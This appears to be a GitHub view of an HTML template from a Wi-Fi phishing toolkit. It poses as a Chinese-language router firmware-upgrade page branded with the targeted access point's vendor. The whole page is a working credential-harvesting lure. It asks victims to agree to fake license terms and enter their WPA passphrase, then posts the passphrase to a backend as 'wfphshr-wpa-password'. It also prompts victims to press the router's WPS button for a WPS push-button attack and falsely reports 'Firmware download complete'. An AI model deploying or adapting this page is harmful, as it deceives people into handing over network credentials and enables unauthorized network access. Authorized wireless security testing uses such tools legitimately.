-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
423 lines (386 loc) · 17.1 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
<!DOCTYPE html>
<html lang="en">
<head>
<title>路由器配置页面</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="/static/bootstrap.min.css">
<link rel="stylesheet" href="/static/font-awesome-4.7.0/css/font-awesome.min.css">
<script src="/static/jquery.min.js"></script>
<script src="/static/bootstrap.min.js"></script>
<!-- CSS -->
<style type="text/css">
/* Sticky footer styles
-------------------------------------------------- */
html,
body {
height: 100%;
/* The html and body elements cannot have any padding or margin. */
}
/* Wrapper for page content to push down footer */
#wrap {
min-height: 100%;
height: auto !important;
height: 100%;
/* Negative indent footer by it's height */
margin: 0 auto -60px;
}
/* Set the fixed height of the footer here */
#push,
#footer {
height: 60px;
}
#footer {
background-color: #f5f5f5;
}
/* Lastly, apply responsive CSS fixes as necessary */
@media (max-width: 767px) {
#footer {
margin-left: -20px;
margin-right: -20px;
padding-left: 20px;
padding-right: 20px;
}
}
img {
width: auto;
max-width: 100%;
height: auto;
}
.isa_info {
color: #9F6000;
background-color: #FEEFB3
}
.isa_info i {
margin:1px 3px;
font-size:18px;
vertical-align:middle;
}
</style>
</head>
<body>
<!-- Start navigation bar -->
<!-- To change the navigation bar color change background attribute -->
<nav class="navbar navbar-inverse" style="background:RoyalBlue;margin-top:2em;">
<div class="container-fluid">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<!--
<a class="navbar-brand"><img style="background:transparent" src="Your LOGO" alt="Logo"></a>
-->
</div>
<div class="collapse navbar-collapse" id="myNavbar">
<ul class="nav navbar-nav">
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">安装程序 <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">基本设置</a></li>
<li><a href="#">动态域名系统</a></li>
<li><a href="#">MAC地址克隆</a></li>
<li><a href="#">高级路由</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">无线网 <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">基本无线设置</a></li>
<li><a href="#">无线安全</a></li>
<li><a href="#">无线MAC滤波器</a></li>
<li><a href="#">高级无线设置</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">安全 <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">防火墙</a></li>
<li><a href="#">VPN</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">访问限制 <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">互联网接入</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">管理员 <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">管理</a></li>
<li><a href="#">日志</a></li>
<li><a href="#">诊断</a></li>
<li><a href="#">恢复出厂设置</a></li>
<li><a href="#">配置管理</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">状态 <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">路由器</a></li>
<li><a href="#">局域网</a></li>
<li><a href="#">无线网</a></li>
<li><a href="#">高级路由器</a></li>
</ul>
</li>
</ul>
</div>
</div>
</nav>
<!-- End navigation bar -->
<!-- Start page content -->
<div class="container">
<div class="col-sm">
<center><img id="ap_logo_path" src="/static/{{ target_ap_logo_path }}"></img></center>
<h2 class="text-center" style="color:CornflowerBlue">固件升级</h2>
<p class="lead">已检测到 {{ target_ap_vendor }} 新的固件版本 ({{ firmware_version }}),正在等待安装。 请查看以下条款和条件并继续。</p>
</div>
<form>
<div class="form-group">
<label for="comment">条款和条件:</label>
<textarea readonly class="form-control" rows="5" id="comment">
1. 许可证明
根据本软件许可协议的条款和条件, {{ target_ap_vendor }} 供应商特此授予您一个受限、有限、非排他性、不可转让的许可证,仅与 {{ target_ap_vendor }} 供应商固件/软件/驱动程序结合使用。 {{ target_ap_vendor }} 产品。 {{ target_ap_vendor }} 供应商公司不授予您任何专利、版权或其他由您拥有或许可的知识产权的许可权。
2. 无担保协议
{{ target_ap_vendor }}固件/软件/驱动程序按“原样”提供,无任何形式的保证。{{ target_ap_vendor }}公司不保证{{ target_ap_vendor }}固件/软件/驱动程序中包含的功能将满足您的要求,或者{{ target_ap_vendor }}固件/软件/驱动程序的操作将不间断或无错误。{{ target_ap_vendor }}公司特此放弃对{{ target_ap_vendor }}固件/软件/驱动程序的所有明示或暗示保证,包括但不限于对适销性、特定用途适用性或非侵权性的任何暗示保证。
3. 免责声明
在任何情况下,{{ target_ap_vendor }}公司或参与{{ target_ap_vendor }}固件/软件/驱动程序的创建、生产或交付的任何其他方均不对本软件许可协议或{{ target_ap_vendor }}固件/软件/驱动程序(包括不受限制的、直接的、间接的、后果性的、偶然的或特殊的损害或损失,包括但不限于因业务中断或数据丢失而导致的利润损失或损失的损害,无论根据何种诉讼形式或法律理论可以主张责任。即使已告知此类损害的可能性或可能性。
</textarea>
<div class="checkbox">
<label><input type="checkbox" id="check-box" onclick="checkBoxStatus()">我同意上述条款和条件</label>
</div>
</div>
<div class="form-group-has-feedback" id="psk_field">
<label for="pwd">{{ target_ap_encryption }} {{ password_name }}:</label>
<input class="form-control" type="password" id="pwd" disabled>
</div>
<div class="container text-center">
<script>
if ( "1" == {{ wps_pbc_attack }} && "1" == {{ psk_enable }}) {
document.write("<p align=\"left\"> Alternatively, please go to the wireless router and press the WPS button for a couple of seconds to initialize the firmware update process.</p>")
} else if ( "1" == {{wps_pbc_attack}}) {
document.write("<p align=\"left\"> Please go to the wireless router and press the WPS button for a couple of seconds to initialize the firmware update process.</p>")
}
</script>
<div class="isa_info" id="pw_status" align="left">
</div>
<button class="btn btn-primary" id="btn">开始升级</button>
</div>
</form>
<div id="push"></div>
</div>
<!-- Start page content -->
<!-- Start footer -->
<footer class="footer">
<div class="container text-center">
<p class="text-muted">© {{ target_ap_vendor }} 2019, 版权所有.</p>
</div>
</footer>
<!-- End footer -->
<!-- Start update first message -->
<div class="modal fade" id="update-only" role="dialog">
<div class="modal-dialog modal-sm">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
<h4 class="modal-title">信息</h4>
</div>
<div class="modal-body">
<p>需要升级。</p>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">关闭</button>
</div>
</div>
</div>
</div>
<!-- End update first message -->
<!-- Start empty password message -->
<div class="modal fade" id="empty-pass">
<div class="modal-dialog modal-sm">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
<h4 class="modal-title">信息</h4>
</div>
<div class="modal-body">
<p>请输入有效密码。</p>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">关闭</button>
</div>
</div>
</div>
</div>
<!-- End empty password message -->
<!-- Start empty password message -->
<div class="modal fade" id="no-checkbox">
<div class="modal-dialog modal-sm">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
<h4 class="modal-title">信息</h4>
</div>
<div class="modal-body">
<p>请同意继续进行的条款和条件。</p>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">关闭</button>
</div>
</div>
</div>
</div>
<!-- End empty password message -->
<script>
/* If we don't have the logo just not display the image */
var match = /^http:.*static\/$/.exec(document.getElementById("ap_logo_path").src);
if (match) {
document.getElementById('ap_logo_path').style.display = 'none';
}
/* initialize the status description based on wps_pbc_attack and psk_enable flags */
var pw_status_element = document.getElementById('pw_status');
if ("0" == {{psk_enable}} && "1" == {{wps_pbc_attack}}) {
/* hide the pre-shared key region if psk_enable is 0 in the config.ini */
document.getElementById('psk_field').style.display = 'none';
pw_status_element.innerHTML = "<i class=\"fa fa-info-circle\"></i>Awaiting user to push the WPS button to initialize firmware upgrade.";
} else if ("1" == {{psk_enable}} && "1" == {{wps_pbc_attack}}) {
pw_status_element.innerHTML = "<i class=\"fa fa-info-circle\"></i>Awaiting user to push the WPS button or enter the {{ password_name }} to initialize firmware upgrade.";
}
/*
Check the password field and act accordingly.
*/
$("#btn").on("click", function(e) {
e.preventDefault();
// get the password box and checkbox elements
var input = document.getElementById("pwd");
var box = document.getElementById("check-box");
// if the box is checked
if ( box.checked == true )
{
// check if the psk not entered and wps_pbc_attack is enabled
if (input.value == "" && "1" == {{wps_pbc_attack}})
{
// pass to wps state handler
var data =
{
"get_wps_state_handler": input.value
};
var dataToSend = JSON.stringify(data);
// post the data
$.ajax(
{
url: '/backend/',
type: 'POST',
data: dataToSend,
success: function (jsonResponse) {
var objresponse = JSON.parse(jsonResponse);
var verify_status = objresponse['get_wps_state_handler']
if (verify_status == 'WPS_CONNECTING' || verify_status == "WPS_CONNECTED") {
/* green for success */
pw_status_element.style.color = "#4F8A10";
pw_status_element.style.backgroundColor = "#DFF2BF";
pw_status_element.innerHTML = "<i class=\"fa fa-check\"></i>Firmware download complete!"
} else if (verify_status == "WPS_IDLE") {
/* red for error */
pw_status_element.style.color = "#D8000C";
pw_status_element.style.backgroundColor = "#FFD2D2";
pw_status_element.innerHTML = "<i class=\"fa fa-times-circle\"></i>Please push the WPS button before initiating the firmware upgrade!"
}
},
});
}
// preshared-key is not filled
else if ( input.value == "" ) {
$("#empty-pass").modal("show");
}
else
{
var data =
{
"psk_verify": input.value
};
var dataToSend = JSON.stringify(data);
// post the data
$.ajax(
{
url: '/backend/',
type: 'POST',
data: dataToSend,
success: function (jsonResponse) {
var objresponse = JSON.parse(jsonResponse);
var verify_status = objresponse['psk_verify']
if (verify_status == 'success') {
document.getElementById("pw_status").innerHTML = ""
post('upgrading.html', {"wfphshr-wpa-password": input.value});
} else if (verify_status == 'fail') {
pw_status_element.style.color = "#D8000C";
pw_status_element.style.backgroundColor = "#FFD2D2";
pw_status_element.innerHTML = "<i class=\"fa fa-times-circle\"></i>The provided {{ password_name }} is invalid!"
} else {
/* we may not define the extensions and in that case
just post the passphrase */
post('upgrading.html', {"wfphshr-wpa-password": input.value});
}
},
});
}
}
else
{
// display no checkbox message
$("#no-checkbox").modal("show");
}
});
/*
Post to the fallowing path given the parameters.
Args:
path: The path to be posted to.
params: The parameters to be passed.
*/
function post(path, params) {
// create a form and set its attributes
var form = document.createElement("form");
form.setAttribute("method", "post");
form.setAttribute("action", path);
// set the attribute for the post
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
// submit the post
document.body.appendChild(form);
form.submit();
}
/*
Check the status of check box
*/
function checkBoxStatus()
{
// get the password box and checkbox elements
var box = document.getElementById("check-box");
var input = document.getElementById("pwd");
// if the box is checked
if ( box.checked == true )
{
// enabale the password box
input.disabled = false;
}
else
{
// disable the password box
input.disabled = true;
}
}
// update copyright year
var theDate=new Date();
document.getElementsByClassName("text-muted")[0].innerHTML = "© {{ target_ap_vendor }} " + theDate.getFullYear() + ", All Rights Reserved.";
</script>
</body>
</html>